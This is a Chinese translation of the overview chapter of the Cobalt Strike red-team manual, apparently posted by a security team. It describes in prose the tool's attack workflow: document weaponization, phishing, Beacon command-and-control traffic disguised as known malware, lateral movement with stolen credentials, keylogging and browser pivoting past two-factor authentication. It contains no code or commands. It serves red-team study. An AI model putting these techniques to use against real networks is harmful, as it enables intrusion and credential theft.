4. 我们目前一共发布2篇文章，这2篇文章中可能有一些错误或者你不了解的地方，亦或是你想深入和我们探讨文章中出现的一些技术点，（修改：抱歉，群已满500人），请遵守群规："只做技术交流，拒绝相互吹捧。"

   
   

   

点击此处“阅读全文”获取更好的阅读体验

阅读原文

跳转微信打开

Cobalt Strike 是一个为对手模拟和红队行动而设计的平台，主要用于执行有目地的攻击和模拟高级威胁者的后渗透行动。本章中会概述 Cobalt Strike 的功能集和相关的攻击流程。在本手册的剩余部分中会详细的讨论这些功能。

翻译：Snowming@QAX A-TEAM

校对：L.N.@QAX A-TEAM

Cobalt Strike 是一个为对手模拟和红队行动而设计的平台，主要用于执行有目地的攻击和模拟高级威胁者的后渗透行动。本章中会概述 Cobalt Strike 的功能集和相关的攻击流程。在本手册的剩余部分中会详细的讨论这些功能。

声明：本篇文章由Snowming@ QAX A-TEAM翻译，仅用于技术研究，不恰当使用会造成危害，严禁违法使用 ，否则后果自负。

正文

Cobalt Strike 是一个为对手模拟和红队行动而设计的平台，主要用于执行有目地的攻击和模拟高级威胁者的后渗透行动。本章中会概述 Cobalt Strike 的功能集和相关的攻击流程。在本手册的剩余部分中会详细的讨论这些功能。

译者注：图中的 Intrumentation & Telemetry 大概可以翻译为「终端行为采集 Agent & 云端行为分析引擎」。Instrumentation 指的应该是安装在目标主机上的各类日志收集与监控类工具，Telemetry 指的应该是将这些监控类工具所产出的各位监测日志进行归一化、汇聚到一个统一分析引擎并等待引擎的研判结果这类的过程。

一场深思熟虑的对目标的攻击始于侦查。Cobalt Strike 的 System Profiler 是一个 web 应用，该应用用于客户端的攻击面。从侦查流程中收集的信息会帮助你分析以及做出最好的选择。

武器化是将一个后渗透 payload 与一个文档或在目标上执行此 payload 的漏洞利用相结合。Cobalt Strike 提供将普通的文档转为武器化 Artifacts 的选项。Cobalt Strike 还提供以多种形式导出后渗透 payload、Beacon 的选项，可以结合此工件集以外的 artifacts 使用。

使用 Cobalt Strike 的网络钓鱼工具投递武器化文档到目标网络中的一个或多个人。Cobalt Strike 的网络钓鱼工具将保存的电子邮件重新用于像素级完美的钓鱼。

使用 Cobalt Strike 的 Beacon 来控制你的目标网络。这个后渗透 payload 使用一种异步的「低频次且慢速」的通信模式，高级威胁中的恶意软件常使用这种模式。Beacon 会通过 DNS、HTTP 或 HTTPS 等方式回连（团队服务器）。Beacon 还可以经过常见的代理配置回连至多个主机来避免阻塞。

想要检验目标的攻击溯源分析能力，可以使用 Beacon 的 C2 扩展语言功能。此功能中，通过对 Beacon 重新编程、让流量看上去像一些知名的恶意软件或者融入正常流量。

译者注：所谓的「让流量看上去像一些知名的恶意软件」，如下图中所示的 GitHub 开源 C2 拓展文件项目中的 crimeware 文件夹，就是通过配置 C2 拓展文件、让 Beacon 的流量特征看上去像 Zeus、Asprox 等知名恶意软件。样可以达到掩盖、伪装 Beacon 行动的目的。

Beacon 优越的自动化以及基于命名管道和 TCP sockets 之上的对等通信模式可帮助攻击者进入受害者网络，然后继续进行主机发现和横向移动。Cobalt Strike 被用来抓取信任关系和使用被抓取的证书、密码哈希、访问令牌和 Kerberos 票据等凭据进行横向移动。

使用 Cobalt Strike 的 user-exploitation 工具来展示有实际意义的业务风险。Cobalt Strike 的工作流程使得在受害系统内部署键盘记录器或截屏工具非常简单。使用 Browser Pivoting 去获取到受害目标 Internet Explorer 上记录的网站的访问权限。这个 Cobalt Strike 独有的技术在大多数站点都可以生效，并且可以绕过双因素验证。

Cobalt Strike 的报告功能重建了 Cobalt Strike 客户端的参与度。可以提供给网络管理员一个活动时间表，这样他们可以在他们的监控设备（比如一些流量监测系统）中发现攻击痕迹。可以将 Cobalt Strike 生成的高质量报告作为独立报告提交给客户或将其用作正式文档的附录。

贯穿上面的所有步骤，你需要去了解目标环境、目标防御情况，以及在资源有限的前提下选择最好的方法来达成后渗透目标。这个过程就是规避。提供开箱即用的规避方案不是 Cobalt Strike 的目标。Cobalt Strike 提供的是极大的灵活性，在配置和执行攻击行动的选项等方面都具有很大的灵活性，这使得此软件适用于各种环境和目标。

点击此处“阅读全文”查看完整版手册

阅读原文

跳转微信打开